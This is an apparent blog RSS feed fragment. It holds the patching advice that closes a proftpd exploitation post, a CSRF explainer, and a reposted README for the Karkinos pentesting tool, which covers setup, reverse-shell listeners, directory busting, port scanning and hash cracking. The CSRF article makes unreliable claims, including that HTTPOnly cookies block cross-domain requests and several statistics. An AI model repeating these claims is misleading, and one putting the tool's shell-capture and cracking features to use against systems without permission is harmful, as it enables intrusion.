<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='740' height='61.54054054054054'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>In the Sophos Active Adversary Playbook for 2021, “The median time that attackers were able to remain in the target network before detection – dwell time – was 11 days. This provides attackers with approximately 264 hours for malicious activity, such as lateral movement, reconnaissance, credential dumping, data exfiltration, and more.” Becoming a user of the system is one of the ways they can maintain persistence during this dwell time.</p>
<h2 id="h-how-to-protect-your-network">How to Protect Your Network</h2>
<p>This type of attack would be caught by Antivirus (AV), Data Loss Prevention (DLP), and other SIEM solutions to control intrusions and data exfiltration. These are all basic cyber security tools that are part of a company’s overall security strategy that focuses on detecting and preventing the loss, leakage, or misuse of data through breaches, exfiltration, and unauthorized use.</p>
<p>Although it’s unlikely to find the <strong>proftpd 1.3.3c</strong> vulnerability because it was patched a long time ago, protecting your servers from this type of attack is the first step to protecting them. Update your software and perform routine patch management for all of your services.</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/exploiting-the-proftpd-linux-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cross-Site Request Forgery (CSRF) Attacks: An Emerging Threat to Browser Security</title>
		<link>http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/</link>
					<comments>http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 24 Jul 2023 22:08:12 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[The Web]]></category>
		<category><![CDATA[Cross-Site Request Forgery (CSRF)]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[web security]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2149</guid>

					<description><![CDATA[<p>One of the most sophisticated types of attacks that threaten our digital landscape is Cross-Site Request Forgery (CSRF). According to the Open Web Application Security Project (OWASP), CSRF vulnerabilities are among the top 10 most critical web application security risks. Let&#8217;s explore what CSRF attacks are, how they work, and the preventative steps that browsers [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/">Cross-Site Request Forgery (CSRF) Attacks: An Emerging Threat to Browser Security</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div>
<p class="paragraph">One of the most sophisticated types of attacks that threaten our digital landscape is Cross-Site Request Forgery (CSRF).</p>
<p class="paragraph">According to the Open Web Application Security Project (OWASP), CSRF vulnerabilities are <a href="https://owasp.org/www-project-top-ten/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">among the top 10</a> most critical web application security risks.</p>
<p class="paragraph">Let&#8217;s explore what CSRF attacks are, how they work, and the preventative steps that browsers and websites can take to tackle them.</p>
<p class="paragraph">A CSRF attack is an ingenious form of web exploit where an attacker tricks a victim&#8217;s browser into performing an unwanted action on a website where the victim is authenticated.</p>
<p class="paragraph">A sobering statistic from Imperva&#8217;s Cyber Threat Index indicates that CSRF attacks <a href="https://www.imperva.com/cyber-threat-index/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">accounted for almost 5%</a> of all application layer attacks in 2022.</p>
<p class="paragraph">Here&#8217;s a simple example: Let&#8217;s say you&#8217;re logged into your bank&#8217;s website, and you&#8217;ve left it open in a tab. You visit another website in a new tab, which is under the control of a nefarious actor.</p>
<p class="paragraph">This site forces your browser to send a request to your bank&#8217;s website to transfer money without your knowledge or consent. This is a CSRF attack.</p>
<h2 id="h-how-csrf-attacks-happen">How CSRF Attacks Happen</h2>
<p class="paragraph">Unlike many other types of attacks that rely on stealing user credentials, CSRF attacks exploit the trust a website has in a user&#8217;s browser.</p>
<p class="paragraph">They manipulate the victim into performing actions they didn&#8217;t intend to, leading to potential data loss, corruption, or unauthorized changes.</p>
<p class="paragraph">Disturbingly, the <a href="https://www.nortonlifelock.com/blogs/norton-cyber-security-insights-report-2022?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">2022 Norton Cyber Security Insights Report</a> showed that 1 in 4 online users globally have been victims of a form of CSRF attacks.</p>
<p class="paragraph">To carry out a CSRF attack, an attacker needs to create a malicious website or email that generates forged HTTP requests. The victim&#8217;s browser sends these requests to the targeted website, which can&#8217;t differentiate between these forged requests and legitimate ones.</p>
<p class="paragraph">The attacker can then ride the authenticated session of the user.</p>
<h2 id="h-preventing-csrf-attacks-the-role-of-browsers-and-websites">Preventing CSRF Attacks: The Role of Browsers and Websites</h2>
<p class="paragraph">Preventing CSRF attacks is a shared responsibility between web developers and browser manufacturers. A robust understanding and application of <a href="https://layerxsecurity.com/learn/browser-security/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">browser security</a> are paramount.</p>
<p class="paragraph"><strong>The Website&#8217;s Responsibility</strong></p>
<p class="paragraph">Websites can guard against CSRF attacks through various measures. They can generate and verify tokens for each session or use the &#8216;SameSite&#8217; cookie attribute, which allows cookies to be sent only when the request originates from the same site that set the cookie.</p>
<p class="paragraph">The use of CAPTCHA can also help in mitigating CSRF attacks. According to Google, implementing <a href="https://www.blog.google/products/recaptcha/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">reCAPTCHA blocked 99.9%</a> of automated software-based CSRF attacks on their platforms.</p>
<p class="paragraph"><strong>The Browser&#8217;s Responsibility</strong></p>
<p class="paragraph">Browsers play a crucial role in mitigating CSRF attacks. They can warn users about suspicious websites, provide visual cues about the security level of websites, and use better cookie controls.</p>
<p class="paragraph">For instance, browsers are now implementing features such as HTTPOnly and Secure cookies that prevent cross-domain requests.</p>
<h2 id="h-empowering-individual-users-against-csrf">Empowering Individual Users Against CSRF</h2>
<p class="paragraph">Ultimately, the prevention of CSRF attacks also lies in the hands of individual users.</p>
<p class="paragraph">Practicing caution when clicking on suspicious links, logging out of sensitive websites when not in use, and regularly updating the browser can significantly reduce the risk of CSRF attacks.</p>
<p class="paragraph">According to a study by the Pew Research Center, <a href="https://www.pewresearch.org/internet/2023/01/23/cybersecurity-in-the-modern-age/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">approximately 64% of online adults</a> have become more cautious in their online activities due to cybersecurity threats. This is a clear testament to increasing cybersecurity awareness among internet users.</p>
<h2 id="h-the-future-of-csrf">The Future of CSRF</h2>
<p class="paragraph">Research indicates that CSRF attacks are <a href="https://www.statista.com/statistics/cyber-crime-growth/?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">likely to increase in the future</a>. This makes ongoing advancements in browser security and web development crucial in maintaining a safe digital environment.</p>
<p class="paragraph">By prioritizing secure coding practices, understanding and implementing advanced CSRF prevention techniques, and continuously educating users about these types of threats, we can create a safer online ecosystem.</p>
<p class="paragraph">Remember, cybersecurity is not a destination but an ongoing journey that requires diligence, knowledge, and adaptability.</p>
</div>
<p>The post <a href="http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/">Cross-Site Request Forgery (CSRF) Attacks: An Emerging Threat to Browser Security</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/cross-site-request-forgery-csrf-attacks-an-emerging-threat-to-browser-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</title>
		<link>http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/</link>
					<comments>http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 23 Jan 2023 19:31:24 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Penetration Testing Framework]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2145</guid>

					<description><![CDATA[<p>What is Karkinos? Karkinos is a light-weight &#8216;Swiss Army Knife&#8217; for penetration testing and/or hacking CTF&#8217;s. Currently, Karkinos offers the following: Encoding/Decoding characters Encrypting/Decrypting text or files 3 Modules Cracking and generating hashes Disclaimer This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/karkinos-penetration-testing-and-hacking-ctfs-swiss-army-knife/">Karkinos &#8211; Penetration Testing and Hacking CTF&#8217;s Swiss Army Knife</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2><strong>What is Karkinos?</strong></h2>
<p dir="auto">Karkinos is a light-weight &#8216;Swiss Army Knife&#8217; for penetration testing and/or hacking CTF&#8217;s. Currently, Karkinos offers the following:</p>
<ul dir="auto">
<li>Encoding/Decoding characters</li>
<li>Encrypting/Decrypting text or files</li>
<li>3 Modules</li>
<li>Cracking and generating hashes</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>This tool should be used on applications/networks that you have permission to attack only. Any misuse or damage caused will be solely the users’ responsibility.</p>
<p>More: <a href="https://github.com/helich0pper/Karkinos" target="_blank" rel="noopener">https://github.com/helich0pper/Karkinos</a></p>
<h2><strong>Dependencies</strong></h2>
<ul>
<li>Any server capable of hosting PHP; tested with Apache Server</li>
<li>Tested with PHP 7.4.9</li>
<li>Tested with Python 3.8<br />
Make sure it is in your path as:<br />
Windows: <code>python</code><br />
Linux: <code>python3</code><br />
If it is not, please change the commands in <code>includes/pid.php</code></li>
<li>pip3</li>
<li>Raspberry Pi Zero friendly <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> (crack hashes at your own risk)</li>
</ul>
<h2><a id="user-content-installing" class="anchor" href="https://github.com/helich0pper/Karkinos#installing" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Installing</strong></h2>
<p>This installation guide assumes you have all the dependencies. A Wiki page with troubleshooting steps can be found <a href="https://helich0pper.github.io/karkinos/" target="_blank" rel="nofollow noopener">here</a>.</p>
<h3><a id="user-content-linuxbsd" class="anchor" href="https://github.com/helich0pper/Karkinos#linuxbsd" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Linux/BSD</strong></h3>
<ol dir="auto">
<li><code>git clone https://github.com/helich0pper/Karkinos.git</code></li>
<li><code>cd Karkinos</code></li>
<li><code>pip3 install -r requirements.txt</code></li>
<li><code>cd wordlists &amp;&amp; unzip passlist.zip</code> You can also unzip it manually using file explorer. Just make sure passlist.txt is in <strong>wordlists</strong> directory.</li>
<li><code>Make sure you have write privileges for db/main.db</code></li>
<li>Enable <code>extension=mysqli</code> in your php.ini file.<br />
If you don&#8217;t know where to find this, refer to the PHP <a href="https://www.php.net/manual/en/configuration.file.php#:~:text=d%20php%20PHP%20will%20load,ini%20as%20configuration%20files." target="_blank" rel="nofollow noopener">docs</a>. Note: MySQLi is only used to store statistics.</li>
<li>Thats it! Now just host it using your preferred web server or run: <code>php -S 127.0.0.1:8888</code> in the Karkinos directory.<strong>Important: using port 5555, 5556, or 5557 will conflict with the Modules</strong><br />
If you insist on using these ports, change the <code>PORT</code> value in:</li>
</ol>
<ul>
<li>
<ul dir="auto">
<li><code>/bin/Server/app.py Line 87</code></li>
<li><code>/bin/Busting/app.py Line 155</code></li>
<li><code>/bin/PortScan/app.py Line 128</code></li>
</ul>
</li>
</ul>
<h2 dir="auto"><strong>Windows</strong></h2>
<ol dir="auto">
<li><code>git clone https://github.com/helich0pper/Karkinos.git</code></li>
<li><code>cd Karkinos</code></li>
<li><code>pip3 install -r requirements.txt</code></li>
<li><code>cd wordlists &amp;&amp; unzip passlist.zip</code><br />
You can also unzip it manually using file explorer. Just make sure passlist.txt is in <strong>wordlists</strong> directory.</li>
<li><code>Make sure you have write privileges for db/main.db</code></li>
<li>Enable <code>extension=mysqli.dll</code> in your php.ini file.<br />
If you don&#8217;t know where to find this, refer to the PHP <a href="https://www.php.net/manual/en/configuration.file.php#:~:text=d%20php%20PHP%20will%20load,ini%20as%20configuration%20files." target="_blank" rel="nofollow noopener">docs</a>. Note: MySQLi is only used to store statistics</li>
<li>Thats it! Now just host it using your preferred web server or run: <code>php -S 127.0.0.1:8888</code> in the Karkinos directory.<strong>Important: using port 5555, 5556, or 5557 will conflict with the Modules</strong><br />
If you insist on using these ports, change the <code>PORT</code> value in:</li>
</ol>
<ul dir="auto">
<li><code>/bin/Server/app.py Line 87</code></li>
<li><code>/bin/Busting/app.py Line 155</code></li>
<li><code>/bin/PortScan/app.py Line 128</code></li>
</ul>
<h3><a id="user-content-home-menu" class="anchor" href="https://github.com/helich0pper/Karkinos#home-menu" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Home Menu</strong></h3>
<p>Landing page and quick access menu.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/home-4.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232590" src="https://hakin9.org/wp-content/uploads/2020/12/home-4.png" sizes="auto, (max-width: 1327px) 100vw, 1327px" srcset="https://hakin9.org/wp-content/uploads/2020/12/home-4.png 1327w, https://hakin9.org/wp-content/uploads/2020/12/home-4-378x251.png 378w, https://hakin9.org/wp-content/uploads/2020/12/home-4-565x376.png 565w, https://hakin9.org/wp-content/uploads/2020/12/home-4-460x306.png 460w, https://hakin9.org/wp-content/uploads/2020/12/home-4-1024x681.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/home-4-768x510.png 768w, https://hakin9.org/wp-content/uploads/2020/12/home-4-500x332.png 500w, https://hakin9.org/wp-content/uploads/2020/12/home-4-200x133.png 200w, https://hakin9.org/wp-content/uploads/2020/12/home-4-120x80.png 120w, https://hakin9.org/wp-content/uploads/2020/12/home-4-310x206.png 310w" alt="" width="1327" height="882" /></a></p>
<p>User stats are displayed here. Currently, the stats recorded are only the total hashes and hash types cracked successfully.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232591" src="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png" sizes="auto, (max-width: 1103px) 100vw, 1103px" srcset="https://hakin9.org/wp-content/uploads/2020/12/home2-3.png 1103w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-378x309.png 378w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-565x463.png 565w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-460x377.png 460w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-1024x838.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-768x629.png 768w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-500x409.png 500w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-200x164.png 200w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-120x98.png 120w, https://hakin9.org/wp-content/uploads/2020/12/home2-3-310x254.png 310w" alt="" width="1103" height="903" /></a></p>
<h3><strong>Encoding/Decoding</strong></h3>
<p>This page allows you to encode/decode in common formats (more may be added soon)</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/encode.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192571" src="https://hakin9.org/wp-content/uploads/2020/12/encode.png" sizes="auto, (max-width: 798px) 100vw, 798px" srcset="https://hakin9.org/wp-content/uploads/2020/12/encode.png 1636w, https://hakin9.org/wp-content/uploads/2020/12/encode-378x208.png 378w, https://hakin9.org/wp-content/uploads/2020/12/encode-565x311.png 565w, https://hakin9.org/wp-content/uploads/2020/12/encode-460x253.png 460w, https://hakin9.org/wp-content/uploads/2020/12/encode-1024x564.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/encode-768x423.png 768w, https://hakin9.org/wp-content/uploads/2020/12/encode-1536x846.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/encode-500x275.png 500w, https://hakin9.org/wp-content/uploads/2020/12/encode-200x110.png 200w, https://hakin9.org/wp-content/uploads/2020/12/encode-120x66.png 120w, https://hakin9.org/wp-content/uploads/2020/12/encode-310x171.png 310w" alt="" width="798" height="439" /></a></p>
<h3><strong>Encrypt/Decrypt</strong></h3>
<p>Encrypting and decrypting text or files is made easy and is fully trusted since it is done locally.</p>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png"><img loading="lazy" decoding="async" class="alignnone wp-image-192593" src="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png" sizes="auto, (max-width: 853px) 100vw, 853px" srcset="https://hakin9.org/wp-content/uploads/2020/12/encrypt.png 1746w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-378x190.png 378w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-565x284.png 565w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-460x232.png 460w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-1024x516.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-768x387.png 768w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-1536x773.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-500x252.png 500w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-200x101.png 200w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-120x60.png 120w, https://hakin9.org/wp-content/uploads/2020/12/encrypt-310x156.png 310w" alt="" width="853" height="430" /></a></p>
<h3><strong>Reverse Shell Handling</strong></h3>
<p>Reverse shells can be captured and interacted with on this page.</p>
<h3><a id="user-content-create-a-listener-instance" class="anchor" href="https://github.com/helich0pper/Karkinos#create-a-listener-instance" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Create a listener instance</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232592" src="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png" sizes="auto, (max-width: 1734px) 100vw, 1734px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse-1.png 1734w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-378x194.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-565x291.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-460x237.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-1024x527.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-768x395.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-1536x790.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-500x257.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-200x103.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-120x62.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse-1-310x159.png 310w" alt="" width="1734" height="892" /></a></p>
<h3><strong>Configure the listener</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232593" src="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png" sizes="auto, (max-width: 1875px) 100vw, 1875px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1.png 1875w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-378x154.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-565x231.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-460x188.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-1024x418.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-768x314.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-1536x628.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-500x204.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-200x82.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-120x49.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse2-2-1-310x127.png 310w" alt="" width="1875" height="766" /></a></p>
<h3><strong>Start the listener and capture a shell</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232594" src="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png" sizes="auto, (max-width: 1861px) 100vw, 1861px" srcset="https://hakin9.org/wp-content/uploads/2020/12/reverse3-1.png 1861w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-378x166.png 378w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-565x248.png 565w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-460x202.png 460w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-1024x450.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-768x337.png 768w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-1536x674.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-500x220.png 500w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-200x88.png 200w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-120x53.png 120w, https://hakin9.org/wp-content/uploads/2020/12/reverse3-1-310x136.png 310w" alt="" width="1861" height="817" /></a></p>
<h3 dir="auto"><strong>Full reverse shell handling demo:</strong></h3>
<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/zriDUmHimXE?modestbranding=1" name="fitvid0" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2 dir="auto"><strong>Directory and File Busting</strong></h2>
<h3 dir="auto"><a id="user-content-create-an-instance" class="anchor" href="https://github.com/helich0pper/Karkinos#create-an-instance" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Create an instance</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232595" src="https://hakin9.org/wp-content/uploads/2020/12/busting1.png" sizes="auto, (max-width: 1774px) 100vw, 1774px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting1.png 1774w, https://hakin9.org/wp-content/uploads/2020/12/busting1-378x191.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting1-565x286.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting1-460x233.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting1-1024x518.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting1-768x389.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting1-1536x778.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting1-500x253.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting1-200x101.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting1-120x61.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting1-310x157.png 310w" alt="" width="1774" height="898" /></a></p>
<h3 dir="auto"><strong>Configure it</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting2.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232596" src="https://hakin9.org/wp-content/uploads/2020/12/busting2.png" sizes="auto, (max-width: 1880px) 100vw, 1880px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting2.png 1880w, https://hakin9.org/wp-content/uploads/2020/12/busting2-378x165.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting2-565x246.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting2-460x200.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting2-1024x446.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting2-768x335.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting2-1536x669.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting2-500x218.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting2-200x87.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting2-120x52.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting2-310x135.png 310w" alt="" width="1880" height="819" /></a></p>
<h3 dir="auto"><strong>Start scanning</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/busting3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232597" src="https://hakin9.org/wp-content/uploads/2020/12/busting3.png" sizes="auto, (max-width: 1859px) 100vw, 1859px" srcset="https://hakin9.org/wp-content/uploads/2020/12/busting3.png 1859w, https://hakin9.org/wp-content/uploads/2020/12/busting3-378x179.png 378w, https://hakin9.org/wp-content/uploads/2020/12/busting3-565x267.png 565w, https://hakin9.org/wp-content/uploads/2020/12/busting3-460x218.png 460w, https://hakin9.org/wp-content/uploads/2020/12/busting3-1024x484.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/busting3-768x363.png 768w, https://hakin9.org/wp-content/uploads/2020/12/busting3-1536x726.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/busting3-500x236.png 500w, https://hakin9.org/wp-content/uploads/2020/12/busting3-200x95.png 200w, https://hakin9.org/wp-content/uploads/2020/12/busting3-120x57.png 120w, https://hakin9.org/wp-content/uploads/2020/12/busting3-310x147.png 310w" alt="" width="1859" height="879" /></a></p>
<h3 dir="auto"><strong>Full Directory and File Busting demo:</strong></h3>
<div class="fluid-width-video-wrapper"><iframe src="https://www.youtube.com/embed/cS9j9FXs6bE?modestbranding=1" name="fitvid1" allowfullscreen="allowfullscreen" data-mce-fragment="1"></iframe></div>
<h2 dir="auto"><strong>Port Scanning</strong></h2>
<h3 dir="auto"><a id="user-content-launch-the-scanner" class="anchor" href="https://github.com/helich0pper/Karkinos#launch-the-scanner" target="_blank" rel="noopener" aria-hidden="true"></a><strong>Launch the scanner</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232598" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png" sizes="auto, (max-width: 1576px) 100vw, 1576px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning1.png 1576w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-378x177.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-565x265.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-460x216.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-1024x480.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-768x360.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-1536x720.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-500x234.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-200x94.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-120x56.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning1-310x145.png 310w" alt="" width="1576" height="739" /></a></p>
<h3 dir="auto"><strong>Configure it</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232599" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png" sizes="auto, (max-width: 1802px) 100vw, 1802px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning2.png 1802w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-378x144.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-565x215.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-460x175.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-1024x390.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-768x292.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-1536x585.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-500x190.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-200x76.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-120x46.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning2-310x118.png 310w" alt="" width="1802" height="686" /></a></p>
<h3 dir="auto"><strong>Start scanning</strong></h3>
<p><a href="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-232600" src="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png" sizes="auto, (max-width: 1801px) 100vw, 1801px" srcset="https://hakin9.org/wp-content/uploads/2020/12/portscanning3.png 1801w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-378x152.png 378w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-565x227.png 565w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-460x184.png 460w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-1024x411.png 1024w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-768x308.png 768w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-1536x616.png 1536w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-500x200.png 500w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-200x80.png 200w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-120x48.png 120w, https://hakin9.org/wp-content/uploads/2020/12/portscanning3-310x124.png 310w" alt="" width="1801" height="722" /></a></p>
<h3 dir="auto"><strong>Full Port Scanning Demo</strong>:</h3>
